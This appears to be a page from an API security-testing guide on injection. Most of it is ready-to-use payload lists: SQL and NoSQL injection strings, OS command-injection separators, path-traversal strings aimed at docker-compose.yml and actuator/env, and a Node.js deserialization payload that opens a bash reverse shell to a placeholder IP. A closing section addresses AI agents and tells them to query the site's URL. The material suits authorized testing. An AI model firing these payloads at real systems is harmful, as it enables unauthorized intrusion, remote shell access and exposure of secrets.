# Injections

## Fuzzing:

* Headers
* Query string parameters
* Parameters in POST/PUT requests

## Discovering Injection Vulnerability:

* A very large number
* A very large string
* A negative number
* A string (instead of a number or boolean value)
* Random characters
* Boolean values
* Meta characters

## Payload:

include `symbols`, `numbers`, `system commands`, `SQL queries`, `NoSQL queries`, `emojis`, `hexadecimal`, `boolean` statements, and more.

### SQL Injection Metacharacters:

```
'
''
;%00
--
-- -
""
;
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
OR 1=1
' AnD sLEep(6)--
' and sleep(7)--
"' OR 1=1 --"

```

### NoSQL Injection:

```
$gt 
{"$gt":""}
{"$gt":-1}
$ne
{"$ne":""}
{"$ne":-1}
 $nin
{"$nin":1}
{"$nin":[1]}
{"$where":  "sleep(1000)"}
{$ne:null}
{$where:"this.title.indexOf('secret') > -1"}
|| '1'=='1
//
||'a'\\'a
'||'1'=='1';//
'/{}:
'"\;{}
'"\/$[].>
```

### OS Injection:

```
| whoami
|| whoami
& whoami
&& whoami
' whoami
" whoami
; whoami
'" whoami
|& sleep 5
'
"
;
'"
```

## Deserialization:

### Node.js

```bash
require('child_process').exec('bash -c "bash -i >& /dev/tcp/IP_ADDRESS 0>&1"')
```

## Path Traversal:

```
/api/v2/file/%2e%2e%2fdocker-compose.yml
```

```url
/api/..;/actuator/env
```

```
..
..\
../
\..\
\..\.\
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://shahidulandshamim.gitbook.io/web-application/api-testing/all-api-vulnerability/injections.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
